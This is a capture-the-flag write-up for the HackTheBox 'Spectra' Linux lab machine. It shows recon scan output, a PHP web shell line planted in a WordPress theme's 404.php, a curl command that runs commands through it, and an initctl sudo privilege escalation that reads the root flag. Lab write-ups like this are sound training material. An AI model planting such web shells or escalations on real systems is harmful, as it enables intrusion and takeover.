HTB - Spectra without MetaSploit


This is an easy Linux box, where I had to get user through a forgotten “backup” on a dev instance, then the privesc came from an unsecured sudo command… Sounds straightforward ? Well, not that much!


HTB - Spectra


A quick look to the box info reveals that it is a Linux’s box, and that’s it!


We run our classic nmap scan :

sudo nmap -sC -sV -oA scans\spectra
Starting Nmap 7.91 ( ) at 2021-05-27 15:23 CEST
Nmap scan report for $target_ip
Host is up (0.028s latency).
Not shown: 997 closed ports
22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey: 
|_  4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp   open  http    nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open  mysql   MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 40.50 seconds

Only 3 ports are open : http, mysql, and SSH.

Web enum

Since I found a website, I’ll manually browse to it in order to have a quick look. In the mean time, I’ll fire up a gobuster scan against the IP :

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://spectra.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/05/27 15:27:27 Starting gobuster in directory enumeration mode
/main                 (Status: 301) [Size: 169] [--> http://spectra.htb/main/]
/testing              (Status: 301) [Size: 169] [--> http://spectra.htb/testing/]
2021/05/27 15:31:27 Finished

Main page shows 2 links pointing to spectra.htb, this means I need to modify our /etc/hosts file accordingly. One instance (main) is a working Wordpress, and the other one (testing) is a broken Wordpress.

Once this is done, I would generally run a few more gobuster scans in the background against those two instances and a WPScan on the working Wordpress :

         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.17
       Sponsored by Automattic -
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

[+] URL: http://spectra.htb/main/ [target.ip]
[+] Started: Thu May 27 15:29:13 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: nginx/1.17.4
 |  - X-Powered-By: PHP/5.6.40
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://spectra.htb/main/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  -
 |  -
 |  -
 |  -
 |  -

[+] WordPress readme found: http://spectra.htb/main/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://spectra.htb/main/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  -
 |  -

[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
 | Found By: Rss Generator (Passive Detection)
 |  - http://spectra.htb/main/?feed=rss2, <generator></generator>
 |  - http://spectra.htb/main/?feed=comments-rss2, <generator></generator>

[+] WordPress theme in use: twentytwenty
 | Location: http://spectra.htb/main/wp-content/themes/twentytwenty/
 | Last Updated: 2021-03-09T00:00:00.000Z
 | Readme: http://spectra.htb/main/wp-content/themes/twentytwenty/readme.txt
 | [!] The version is out of date, the latest version is 1.7
 | Style URL: http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2
 | Style Name: Twenty Twenty
 | Style URI:
 | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
 | Author: the WordPress team
 | Author URI:
 | Found By: Css Style In Homepage (Passive Detection)
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2, Match: 'Version: 1.2'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:01 <===============================================================================================================> (137 / 137) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at

[+] Finished: Thu May 27 15:29:22 2021
[+] Requests Done: 170
[+] Cached Requests: 5
[+] Data Sent: 43.305 KB
[+] Data Received: 357.271 KB
[+] Memory used: 203.707 MB
[+] Elapsed time: 00:00:09

This scan didn’t reveal anything useful, I also tried to brute force administrator user with a top 1000 passwords list from SecLists. No luck.

I decided to run the WPScan first, while browsing manually the other (testing) instance. Pretty quickly, I figured out that directory listing was enabled on this instance, this means that browsing to http://spectra.htb/testing/ instead of http://spectra.htb/testing/index.php gave me the full listing of files on the web root.

From here, I could spot a file that contained credentials to connect to the database.

I tried connecting remotely, but MySQL wouldn’t allow me to connect from my IP.

Finally, I tried logging on the working Wordpress' instance as administrator and with the password I found, and it worked! I was in!


Getting Initial Shell

Once you are logged with admin priv on a Wordpress, getting a shell is, as far as I have seen, very easy! Basically, it is about editing a theme (preferably an unused one), and adding a small line of PHP in order to get some kind of RCE.

In this case, I edited theme twentyseven, file 404.php and added the following line : echo system($_REQUEST['nes']);

This means, that I can now run commands like so (directly in browser, or via Curl, Burp, etc) :

curl http://spectra.htb/main/themes/twentyseven/404.php&nes=whoami

From here, I like to use Burp, convert the request to POST and play around or simply get a better shell.

On this particular box, I had several issues trying to get a proper shell.

I decided to upload a full php reverse shell via curl… I then reached that URL to get my reverse shell, and… I couldn’t upgrade it! However, I noticed that nginx user had a real shell inside /etc/passwd, so I uploaded my ssh key and connected as nginx over SSH!

From here, I ran LinPeas and spotted (not easily) and interesting file : /etc/autologin/passwd

Getting user

The password found allowed me to log in as katie via ssh, and allowed me to grab the user flag :

Spectra - User Flag


Now that I have user, let’s see if I can run sudo, and indeed I can run sudo /sbin/initctl without password. I headed over GTFObins, but unfortunately there was nothing there.

After a little exploration, I noticed that I could edit / start / stop services in /etc/init/, and found a particularly interesting one called test.conf.

Spectra - Test Service

After more trial and errors, I simply decided to replace the date command by cat /root/root.txt, which got me the root flag from log file in /var/log/nodetest.log :

Spectra - Root Flag


This was another fun with quite a few unexpected hurdles. It was really cool to “think out of the box” and try to find (ugly) ways to overcome those issues.